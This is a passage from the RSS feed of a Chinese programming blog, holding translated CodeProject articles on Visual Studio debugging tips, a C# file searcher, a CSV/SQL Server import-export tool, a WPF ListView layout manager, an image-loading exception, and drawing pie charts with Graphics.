&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27686_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/e93436bf72af22e533fe859971913a3d3c555789.png&#34; title=&#34;8&#34;&gt;&lt;/a&gt;
如果你尝试通过断点再现一个罕见的事件，该情况引发了一些严重的错误。你可以添加条件断点。定义一个断点的条件，然后如果条件不成立，VS会忽略该断点&lt;/p&gt;
&lt;p&gt;9.内存窗口
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27687_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/0cfda80c7dbe3d0c50bb5646155914b5e3f07f4f.png&#34; title=&#34;9&#34;&gt;&lt;/a&gt;
有些bug由不正确的结构体定义引起，忽略的对齐属性等等。查看内存中的内容可以定位然后修复bug。VS提供了一个放百年的内存窗口，可以把值以8/16/32/64位的形式展示。还有浮点值。也允许实时改变他们。就像在文本编辑器里一样。&lt;/p&gt;
&lt;p&gt;10.转到定义
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27688_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3593aad0199fbed2f8faaef908e151a068e14d09.png&#34; title=&#34;10&#34;&gt;&lt;/a&gt;
这个特性不是直接关于调试的，而是关于浏览大项目的。如果你尝试找到一些不是你自己写的代码中的错误，快速知道“这个类型是什么”或者“这个函数是干嘛的”，可以节省很多时间，VS通过一个转到定义命令方便了你。&lt;/p&gt;
&lt;p&gt;11.命令窗口
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27689_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2af5b37764b18abe3ae34c1a67e4398721fbd04b.png&#34; title=&#34;11&#34;&gt;&lt;/a&gt;
第十一的技巧&lt;a href=&#34;http://www.codeproject.com/script/Membership/View.aspx?mid=4917930&#34;&gt;chaau&lt;/a&gt;已经建议过了。确实可以节省很多时间，VS支持命令窗口，可以通过，视图-其他窗口-命令窗口来启动。一旦激活，你可以输入不同的命令来自动化调试。举个例子。你可以通过如下命令 简单的模拟MFC COleDateTime 变量。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;? dt.Format(&#34;%Y-%m-%d %H:%M:%S&#34;)&lt;/pre&gt;
&lt;p&gt;许可
本文包括源代码和文件在CPOL下授权。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;原文地址：&lt;a href=&#34;http://www.codeproject.com/Articles/359801/10plus-powerful-debugging-tricks-with-Visual-Studi&#34;&gt;10plus-powerful-debugging-tricks-with-Visual-Studi&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;著作权声明：本文由&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#编写文件搜索器</title>
      <link>http://blog.leaver.me/2012/10/01/c%23%E7%BC%96%E5%86%99%E6%96%87%E4%BB%B6%E6%90%9C%E7%B4%A2%E5%99%A8/</link>
      <pubDate>Mon, 01 Oct 2012 11:36:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/01/c%23%E7%BC%96%E5%86%99%E6%96%87%E4%BB%B6%E6%90%9C%E7%B4%A2%E5%99%A8/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27654_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6d2217ea2873cc4f559cc605fc38f29dade4aef8.jpg&#34; title=&#34;filesearcher&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;
在装有Vista的机器上。我想通过一个给定的字符串来搜索我硬盘上的一个文件，该文件内容包含这个字符串序列，资源管理器是做不到的。因此，我就决定自己写吧。然后就写成这样了。。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我做了什么&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你必须输入一个选择一个搜索目录，这样程序才知道在哪搜索文件/目录，如果你选上了“包含子目录”复选框，程序就会递归地搜索指定目录的子目录，指定的文件名可以是像 &amp;ldquo;&lt;em&gt;.wav;&lt;/em&gt;.mp3;Christma??ree.*&amp;rdquo; 这样的字符串，程序将会列出所有的文件/目录匹配这些文件名&lt;/p&gt;
&lt;p&gt;你也可以使用一些限制条件来限制找到的项目，每一个限制条件可以通过选上复选框来激活，限制条件的参数可以在右边选中就行了。&lt;/p&gt;
&lt;p&gt;1. “Files newer than”将会列出LastWriteTime（上次修改时间）晚于指定时间的文件
2. “Files newer than”将会列出LastWriteTime（上次修改时间）早于指定时间的文件
3. &amp;ldquo;Files containing the string&amp;quot;仅仅列出包含字符串参数的文件。&lt;/p&gt;
&lt;p&gt;程序将会把字符串转换成字节序列，可以使用ASCII或者Unicode编码，取决于你的选择，然后搜索每一个出现这个字节序列的文件。&lt;/p&gt;
&lt;p&gt;点击Start（开始）按钮就开始搜索了。找到的项目会列在下面，如果搜索时间太长了。你可以点击Stop（停止）来停止搜索。&lt;/p&gt;
&lt;p&gt;如果你双击下面的一个文件。不是文件夹哦，程序将会根据关联程序打开该文件
如果你邮件一个项目，然后选择“Open Containing Folder”（打开包含文件夹）将会在资源管理器里打开包含该项目的文件夹&lt;/p&gt;
&lt;p&gt;如果你想要把搜索结果保存到一个文本文件。输入个分隔符分隔项目，然后点击“Write results to text file…”（保存结果到文本…）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;
1. MainWindow处理所有的界面事务
2. Searcher类提供了业务逻辑，用来搜索FileSystemInfo对象&lt;/p&gt;
&lt;p&gt;当用户点击Start（开始）按钮，Searcher.Start 方法就会执行，该方法开启了一个名为SearchThread 的新线程，这个线程搜索文件/目录，匹配用户输入的参数，如果找到了一个匹配的FileSystemInfo对象，它就出发一个异步的FoundInfo 事件，然后MainWindow就可以从FoundInfoEventArgs中解出FileSystemInfo对象，然后更新结果列表，当线程结束的时候，将m_thread成员对象设置为null，每一次Searcher.Start 执行的时候都会检测m_thread是否为null，因此同时不会有两个线程在运行。&lt;/p&gt;
&lt;p&gt;当用户点击Stop(停止)按钮的时候Searcher.Stop 方法被执行，然后设置m_stop 成员为true， Searchthread会注意到这个改变。注意本操作是线程安全的。因为布尔变量只需要一步就操作完成了&lt;/p&gt;
&lt;p&gt;重要：在Searcher_FoundInfo 事件处理中，MainWindow使用Invoke方法通过代理来调用this_FoundInfo 方法。通过这个方法，MainWindow是的更新结果列表的代码在MainWindow的线程里执行，而不是在Searcher的线程里，直接调用this_FoundInfo 方法会引发程序崩溃，因为Searcher_FoundInfo 事件处理和图形界面控件不同步。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;private delegate void FoundInfoSyncHandler(FoundInfoEventArgs e);
private FoundInfoSyncHandler FoundInfo;

...

private void MainWindow_Load(object sender, EventArgs e)
{
...
this.FoundInfo += new FoundInfoSyncHandler(this_FoundInfo);
...
}

...

private void Searcher_FoundInfo(FoundInfoEventArgs e)
{
if (!m_closing)
{
this.Invoke(FoundInfo, new object[] { e });
}
}

private void this_FoundInfo(FoundInfoEventArgs e)
{
CreateResultsListItem(e.Info);
}&lt;/pre&gt; 
&lt;p&gt;CreateResultsListItem 方法创建并添加一个ListViewItem 到结果列表中，然后展示FilesystemInfo 对象包含的数据，FileSystemInfo 可以是FileInfo 或是DirectoryInfo ，取决于Searcher 找到的结果， is操作符可以用来判断对象的类型，如果是FileInfo独享，列表还会以KB为单位显示文件大小&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;ListViewItem.ListViewSubItem lvsi = new ListViewItem.ListViewSubItem();
if (info is FileInfo)
{
lvsi.Text = GetBytesStringKB(((FileInfo)info).Length);
}
else
{
lvsi.Text = &#34;&#34;;
}&lt;/pre&gt; 
&lt;p&gt;当Searcher 线程结束的时候，触发ThreadEnded 事件，因此，MainWindow可以注意到搜索结束，Searcher_ThreadEnded 事件处理句柄使用和Searcher_FoundInfo一样的方式调用Invoke方法。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;private delegate void ThreadEndedSyncHandler(ThreadEndedEventArgs e);
private ThreadEndedSyncHandler ThreadEnded;

...

private void MainWindow_Load(object sender, EventArgs e)
{
...
this.ThreadEnded += new ThreadEndedSyncHandler(this_ThreadEnded);
...
}

...

private void Searcher_ThreadEnded(ThreadEndedEventArgs e)
{
if (!m_closing)
{
this.Invoke(ThreadEnded, new object[] { e });
}
}

private void this_ThreadEnded(ThreadEndedEventArgs e)
{
EnableButtons();
if (!e.Success)
{
MessageBox.Show(e.ErrorMsg,
&#34;Error&#34;,
MessageBoxButtons.OK,
MessageBoxIcon.Exclamation);
}
}&lt;/pre&gt; 
&lt;p&gt;Demo下载
&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=68747&amp;amp;uk=1493685990&#34;&gt;FileSearcher&lt;/a&gt;
许可
本文包括源代码和文件在CPOL下授权&lt;/p&gt;</description>
    </item>
    <item>
      <title>CSV导入导出工具</title>
      <link>http://blog.leaver.me/2012/09/30/csv%E5%AF%BC%E5%85%A5%E5%AF%BC%E5%87%BA%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Sun, 30 Sep 2012 22:33:19 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/30/csv%E5%AF%BC%E5%85%A5%E5%AF%BC%E5%87%BA%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27639_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/650890bebf13c4d041d3113af4b40fb93a2cc0c5.png&#34; title=&#34;form1&#34;&gt;&lt;/a&gt;
&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;本文介绍并且实现了在平面文件CSV和SQL server之间的导入导出功能。使用VS2005写的。使用了.net 2.0&lt;/p&gt;
&lt;p&gt;本文基于前一篇文章：&lt;a href=&#34;http://www.codeproject.com/KB/database/FinalCSVReader.aspx&#34;&gt;从CSV导入数据并存储到数据库&lt;/a&gt;，本文包含了新功能，比如，导出功能，在数据库创建表，批量拷贝。接下来的例子中有很多注释。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;导入&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过ODBC驱动连接到一个CSV文件，然后把文件读到一张表了（基于前面提到的那篇文章）
使用不同的编码和不同的行分隔符（基于前文）
加载CSV文件到DataSet（基于前文）
如何显示对CSV文件的预览（基于前文）
通过SqlBulkCopy的对象向SQL server转移数据，原始数据是DataSet实例&lt;/p&gt;
&lt;p&gt;使用结构表，基于CSV文件，创建一个新表
使用事件来处理批量拷贝的进程
&lt;strong&gt;导出&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;浏览SQL 数据库中的用户表
使用不同的编码和分隔符
使用SqlDataReader读取数据，使用StreamWriter转移数据到平面文件&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27640_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b131fd0af27287ab9270df33d1a313ab957dfb12.png&#34; title=&#34;form2&#34;&gt;&lt;/a&gt;
使用&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;下载工程&lt;/li&gt;
&lt;li&gt;新建一个数据库，或者使用一个存在的数据库&lt;/li&gt;
&lt;li&gt;修改软件中的数据库连接字符串，在prop.cs文件中&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;public static string sqlConnString = &#34;server=(local);
	database=Test_CSV_impex;Trusted_Connection=True&#34;;&lt;/pre&gt; 
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;运行工程&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;一些代码段&lt;/strong&gt;
加载CSV到DataSet中&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
/*
 *加载CSV到DataSet.
 * 
 * 如果numberOfRows parameter 是 -1, 就加载所有行, 否则就加载指定数目的行
 */

public DataSet LoadCSV(int numberOfRows)
{
	DataSet ds = new DataSet();
	try
	{
		// 创建并打开ODBC连接
		string strConnString = &#34;Driver={Microsoft Text Driver (*.txt; *.csv)};
			Dbq=&#34; + this.dirCSV.Trim() + &#34;;
			Extensions=asc,csv,tab,txt;Persist Security Info=False&#34;;
		string sql_select;
		OdbcConnection conn;
		conn = new OdbcConnection(strConnString.Trim());
		conn.Open();

		//创建SQL语句
		if (numberOfRows == -1)
		{
			sql_select = &#34;select * from [&#34; + 
					this.FileNevCSV.Trim() + &#34;]&#34;;
		}
		else
		{
			sql_select = &#34;select top &#34; + numberOfRows + 
				&#34; * from [&#34; + this.FileNevCSV.Trim() + &#34;]&#34;;
		}

		//创建数据适配器 
		OdbcDataAdapter obj_oledb_da = new OdbcDataAdapter(sql_select, conn);

		//用CSV的数据填充DataSet
		obj_oledb_da.Fill(ds, &#34;csv&#34;);

		//关闭连接
		conn.Close();
	}
	catch (Exception e) //异常处理
	{
		MessageBox.Show(e.Message, &#34;Error - LoadCSV&#34;,
				MessageBoxButtons.OK,MessageBoxIcon.Error);
	}
	return ds;
}&lt;/pre&gt;
&lt;p&gt;通过SqlBulkCopy从ODBC连接中转移数据到数据库&lt;/p&gt;</description>
    </item>
    <item>
      <title>ListView布局管理器</title>
      <link>http://blog.leaver.me/2012/09/29/listview%E5%B8%83%E5%B1%80%E7%AE%A1%E7%90%86%E5%99%A8/</link>
      <pubDate>Sat, 29 Sep 2012 10:14:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/29/listview%E5%B8%83%E5%B1%80%E7%AE%A1%E7%90%86%E5%99%A8/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27575_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3908a54221845d3b8f0b2ad7c3c0b559dae7a979.jpg&#34; title=&#34;listview&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;使用ListViewLayoutManager  可以控制ListView/GridView列的布局&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;固定列宽：有着固定列宽的列&lt;/li&gt;
&lt;li&gt;范围列宽：有着最小最大宽度的列&lt;/li&gt;
&lt;li&gt;比例列宽：成比例的列宽&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;范围列宽可以限制列的宽度，也包括填充列的剩余可视区域。&lt;/p&gt;
&lt;p&gt;据我们了解的Html中的表格和Grid空间。比例列以一个百分比来定义列宽，以下几个因素共同确定了比例列的宽度。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;垂直ListView滚动条的可视与否&lt;/li&gt;
&lt;li&gt;ListView控件宽度的改变&lt;/li&gt;
&lt;li&gt;非比例列宽度的改变&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;本程序支持通过XAML或是后台代码来控制ListView。如果通过XAML来控制。则允许ListViewLayoutManager 被附加到一个存在的ListView控件上。&lt;/p&gt;
&lt;p&gt;ConverterGridColumn 类通过接口IValueConverter 提供了对象绑定。使用ImageGridViewColumn 类则允许通过DataTemplate（数据模板）将列显示成图片等。&lt;/p&gt;
&lt;p&gt;在 &lt;a href=&#34;http://www.codeproject.com/Articles/25829/User-Settings-Applied&#34;&gt;User Setting Applied&lt;/a&gt;中，我展示了如何固定ListViewlieder顺序和大小&lt;/p&gt;
&lt;h3 id=&#34;xaml中listviewgridview布局&#34;&gt;XAML中ListView/GridView布局&lt;/h3&gt;
&lt;p&gt;固定列
下面的例子展示了通过XAML使用固定列宽控制列&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;&amp;lt;ListView
    Name=&#34;MyListView&#34;
    ctrl:ListViewLayoutManager.Enabled=&#34;true&#34;&amp;gt;

    &amp;lt;ListView.View&amp;gt;
      &amp;lt;GridView&amp;gt;
        &amp;lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Name}&#34;

          ctrl:FixedColumn.Width=&#34;100&#34;
          Header=&#34;Name&#34; /&amp;gt;

        &amp;lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=City}&#34;
          ctrl:FixedColumn.Width=&#34;300&#34;

          Header=&#34;City&#34; /&amp;gt;
      &amp;lt;/GridView&amp;gt;

    &amp;lt;/ListView.View&amp;gt;
  &amp;lt;/ListView&amp;gt;
&lt;/pre&gt; 
&lt;p&gt;设置附加到ListView控件上的ListViewLayoutManager 的Enabled属性为True。然后FixedColumn.Width 就会阻止鼠标拖动改变列的宽度。&lt;/p&gt;
&lt;p&gt;比例列&lt;/p&gt;
&lt;p&gt;下面的例子展示了使用XAML通过比例来控制列&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;&lt;ListView
    Name=&#34;MyListView&#34;
    ctrl:ListViewLayoutManager.Enabled=&#34;true&#34;&gt;
    &lt;ListView.View&gt;

      &lt;GridView&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Name}&#34;
          ctrl:ProportionalColumn.Width=&#34;1&#34;

          Header=&#34;Name&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=City}&#34;

          ctrl:ProportionalColumn.Width=&#34;3&#34;
          Header=&#34;City&#34; /&gt;
      &lt;/GridView&gt;

    &lt;/ListView.View&gt;

  &lt;/ListView&gt;&lt;/pre&gt;
&lt;p&gt;对比Grid控件的RowDefinition.Width 属性，ProportionalColumn.Width会计算百分比。简单来说，就是上面的例子中Name列会占到总宽度的25%，而City列占到75%。
与固定列相似。鼠标将不能改变列的宽度。&lt;/p&gt;
&lt;p&gt;范围列&lt;/p&gt;
&lt;p&gt;下面的例子展示了使用XAML通过最小/最小宽度来控制列&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
&lt;ListView
    Name=&#34;MyListView&#34;
    ctrl:ListViewLayoutManager.Enabled=&#34;true&#34;&gt;
    &lt;ListView.View&gt;

      &lt;GridView&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Name}&#34;
          ctrl:RangeColumn.MinWidth=&#34;100&#34;
          Width=&#34;150&#34;

          Header=&#34;Name&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=City}&#34;
          ctrl:RangeColumn.MaxWidth=&#34;200&#34;
          Width=&#34;150&#34;

          Header=&#34;City&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Country}&#34;
          Width=&#34;100&#34;
          ctrl:RangeColumn.MinWidth=&#34;50&#34;

          ctrl:RangeColumn.MaxWidth=&#34;150&#34;
          Header=&#34;Country&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=State}&#34;
          Width=&#34;100&#34;

          ctrl:RangeColumn.MinWidth=&#34;100&#34;
          ctrl:RangeColumn.IsFillColumn=&#34;true&#34;
          Header=&#34;Country&#34; /&gt;

      &lt;/GridView&gt;

    &lt;/ListView.View&gt;
  &lt;/ListView&gt;&lt;/pre&gt;
&lt;p&gt;第一个范围列的IsFillColumn 属性被设置为True，因此将会自动改变大小来填满剩余的空间，而如果ListView包含一个比例列的话，范围列将不会填充&lt;/p&gt;
&lt;p&gt;通过鼠标可以拖动范围列的宽度。鼠标指针会有一些提示。。&lt;/p&gt;
&lt;p&gt;组合使用&lt;/p&gt;
&lt;p&gt;在真实的世界里。组合使用很普遍。他们的顺序可以多种多样。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
&lt;ListView
    Name=&#34;MyListView&#34;
    ctrl:ListViewLayoutManager.Enabled=&#34;true&#34;&gt;

    &lt;ListView.View&gt;
      &lt;GridView&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=State}&#34;
          ctrl:FixedColumn.Width=&#34;25&#34;
          Header=&#34;Name&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Name}&#34;

          Width=&#34;150&#34;
          ctrl:RangeColumn.MinWidth=&#34;100&#34;
          ctrl:RangeColumn.MaxWidth=&#34;200&#34;

          Header=&#34;City&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=City}&#34;
          ctrl:ProportionalColumn.Width=&#34;1&#34;
          Header=&#34;Zip&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Country}&#34;

          ctrl:ProportionalColumn.Width=&#34;2&#34;
          Header=&#34;Country&#34; /&gt;
      &lt;/GridView&gt;

    &lt;/ListView.View&gt;
  &lt;/ListView&gt;&lt;/pre&gt;
&lt;h3 id=&#34;使用后台代码控制listviewgridview布局&#34;&gt;使用后台代码控制ListView/GridView布局&lt;/h3&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
ListView listView = new ListView();
 new ListViewLayoutManager( listView ); // attach the layout manager

 GridView gridView = new GridView();
 gridView.Columns.Add( FixedColumn.ApplyWidth( new MyGridViewColumn( &#34;State&#34; ), 25 ) );
 gridView.Columns.Add( RangeColumn.ApplyWidth( new MyGridViewColumn( &#34;Name&#34; ), 100,
     150, 200 ) ); // 100...200
 gridView.Columns.Add( ProportionalColumn.ApplyWidth( new MyGridViewColumn( &#34;City&#34; ),
     1 ) ); // 33%
 gridView.Columns.Add( ProportionalColumn.ApplyWidth( new MyGridViewColumn(
     &#34;Country&#34; ), 2 ) ); // 66%

 listView.View = gridView;
&lt;/pre&gt;
&lt;h3 id=&#34;定制列的效果&#34;&gt;定制列的效果&lt;/h3&gt;
&lt;p&gt;类ConverterGridColumn 作为一个基类，用来绑定列到独立的对象。&lt;/p&gt;</description>
    </item>
    <item>
      <title>从数据库读取图片发生“无效的参数”异常</title>
      <link>http://blog.leaver.me/2012/09/27/%E4%BB%8E%E6%95%B0%E6%8D%AE%E5%BA%93%E8%AF%BB%E5%8F%96%E5%9B%BE%E7%89%87%E5%8F%91%E7%94%9F%E6%97%A0%E6%95%88%E7%9A%84%E5%8F%82%E6%95%B0%E5%BC%82%E5%B8%B8/</link>
      <pubDate>Thu, 27 Sep 2012 19:47:39 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/27/%E4%BB%8E%E6%95%B0%E6%8D%AE%E5%BA%93%E8%AF%BB%E5%8F%96%E5%9B%BE%E7%89%87%E5%8F%91%E7%94%9F%E6%97%A0%E6%95%88%E7%9A%84%E5%8F%82%E6%95%B0%E5%BC%82%E5%B8%B8/</guid>
      <description>&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;我发现对于很多人来说，当从数据库里载入一张图片然后重新创建成一张图片显示的话会有这样一个问题&amp;mdash;-当他们尝试重新创建新的图片的时候，会抛出一个“无效的参数”异常&lt;/p&gt;
&lt;p&gt;因此，本文介绍该异常如何产生。并且我希望未来当我或是你发生这个错误的时候还能有所帮助。。&lt;/p&gt;
&lt;h3 id=&#34;背景&#34;&gt;背景&lt;/h3&gt;
&lt;p&gt;存储图片到数据库里面是一个很有效的想法。很多人在一些场合都会这样做。的确，这是一个很好的想法。在图片很小的情况下，或者图片不是太多。在这两种情况下，当你需要图片的时候，你会实时去加载它们。而当你不需要的时候如果从数据库里加载图片会浪费很多带宽。并使得你的程序有一些慢。&lt;/p&gt;
&lt;p&gt;但问题是这种方法也很容易发生错误。&amp;ndash;尤其是你使用字符串连接，然后组合到你的SQL语句里面—并且这个错误只有当你打算使用存储的信息的时候才会发生。然后，看起来似乎是你的读取代码写错了&amp;mdash;不可能—它是正常的。我在其他地方都可以的。。&lt;/p&gt;
&lt;h3 id=&#34;从数据库里加载图片&#34;&gt;从数据库里加载图片&lt;/h3&gt;
&lt;p&gt;重数据库里读取一张图片然后转换成图片显示是很简单的。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;using (SqlConnection con = DBAccess.DBCon)
                        {
                        using (SqlCommand cmd = new SqlCommand(&#34;SELECT picture FROM Pictures WHERE Id=@ID&#34;, con))
                            {
                            cmd.Parameters.AddWithValue(&#34;@ID&#34;, Id);
                            SqlDataReader reader = cmd.ExecuteReader();
                            if (reader.Read())
                                {
                                byte[] data = (byte[])reader[&#34;Picture&#34;];
                                using (MemoryStream stream = new MemoryStream(bytes))
                                    {
                                    myImage = new Bitmap(stream);
                                    }
                                }
                            }
                        }&lt;/pre&gt;
&lt;p&gt;但是-如果data因为一些原因不是有效的图片，那么这一行&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;myImage = new Bitmap(stream);&lt;/pre&gt;
&lt;p&gt;将会抛出一个异常—无效的参数&lt;/p&gt;
&lt;p&gt;只有当你真正看了从数据库里返回到data里的数据-而不是简单的瞄了一眼调试器，你才能注意到是什么原因。。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;{byte[21]}
[0] 83
[1] 121
[2] 115
[3] 116
[4] 101
[5] 109
[6] 46
[7] 68
[8] 114
[9] 97
[10] 119
[11] 105
[12] 110
[13] 103
[14] 46
...&lt;/pre&gt;
&lt;p&gt;它看起来不像是错的，所以它可能就是你想要的。-虽然21字节是一个很大的线索：你的图片可能只有21字节长？那图片可真小。。&lt;/p&gt;
&lt;p&gt;但是，上面的是可以读懂的。。稍微练习一下。。每个字节是一个ASCII码。。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;&#34;83&#34; is an uppercase &#39;S&#39;
&#34;121&#34; is an lowercase &#39;y&#39;
&#34;115&#34; is an lowercase &#39;s&#39;
&#34;116&#34; is an lowercase &#39;t&#39;
&#34;101&#34; is an lowercase &#39;e&#39;
&#34;109&#34; is an lowercase &#39;m&#39;
&#34;46&#34; is a &#39;.&#39;
&#34;68&#34; is an uppercase &#39;D&#39;
&#34;114&#34; is an lowercase &#39;r&#39;
&#34;97&#34; is an lowercase &#39;a&#39;
&#34;119&#34; is an lowercase &#39;w&#39;
&#34;105&#34; is an lowercase &#39;i&#39;
&#34;110&#34; is an lowercase &#39;n&#39;
&#34;103&#34; is an lowercase &#39;g&#39;
&#34;46&#34; is an lowercase &#39;.&#39;
...&lt;/pre&gt;
&lt;p&gt;简而言之，你从数据库里得到的数据是一个人类可以读懂的字符串，意思是是&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#使用Graphics创建饼图</title>
      <link>http://blog.leaver.me/2012/09/27/c%23%E4%BD%BF%E7%94%A8graphics%E5%88%9B%E5%BB%BA%E9%A5%BC%E5%9B%BE/</link>
      <pubDate>Thu, 27 Sep 2012 13:47:25 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/27/c%23%E4%BD%BF%E7%94%A8graphics%E5%88%9B%E5%BB%BA%E9%A5%BC%E5%9B%BE/</guid>
      <description>&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;这个程序是使用C#中的Graphics来创建一个饼图的，我已经尽我所能写的很好了。如果你有任何建议可以分享给我，这样我也能从中学习。&lt;/p&gt;
&lt;h3 id=&#34;使用代码&#34;&gt;使用代码&lt;/h3&gt;
&lt;p&gt;最近我迷上了Graphics类。我仅仅体验了一下Graphics的DrawPie() 和FillPie() 方法。&lt;/p&gt;
&lt;p&gt;最为一个简单的Demo，我创建一个有着五个文本框的窗体，一个按钮，一个图片框。一会我就把饼图画在图片框里&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27557_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f3681994ca4fce2b724886db9d7a958d854c8e39.png&#34; title=&#34;client&#34;&gt;&lt;/a&gt;
在创建一个饼图之前，我们头脑里要有这个意识。我们不能创建一个不符合常规的圆，创建圆我们需要度数信息。&lt;/p&gt;
&lt;p&gt;为了转换度数。我们首先把给定的值做个求和。然后得出文本框里所有值的和。然后呢。用每个值除以总值再乘以360度。
代码如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;int i1 = Int32.Parse(textBox1.Text);
int i2 = Int32.Parse(textBox2.Text);
int i3 = Int32.Parse(textBox3.Text);
int i4 = Int32.Parse(textBox4.Text);
int i5 = Int32.Parse(textBox5.Text);

float total = i1 + i2 + i3 + i4 + i5 ;

float deg1 = (i1 / total) * 360;
float deg2 = (i2 / total) * 360;
float deg3 = (i3 / total) * 360;
float deg4 = (i4 / total) * 360;
float deg5 = (i5 / total) * 360;&lt;/pre&gt;
&lt;p&gt;值转换完毕后。我们可以创建Graphics类的实例了。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;Graphics graphics = pictureBox1.CreateGraphics();  &lt;/pre&gt;
&lt;p&gt;然后我们需要创建一个矩形区域，在这个矩形区域里绘制饼图。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;Rectangle rect = new Rectangle(0, 0, 150, 150);&lt;/pre&gt;
&lt;p&gt;前两个参数定义了矩形左上角的坐标，后两个分别定义了举行的宽和高。&lt;/p&gt;
&lt;p&gt;为了能够比较清晰的看出饼图各部分的比例。我们需要创建五个笔刷。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;Brush brush1 = new SolidBrush(Color.Red);
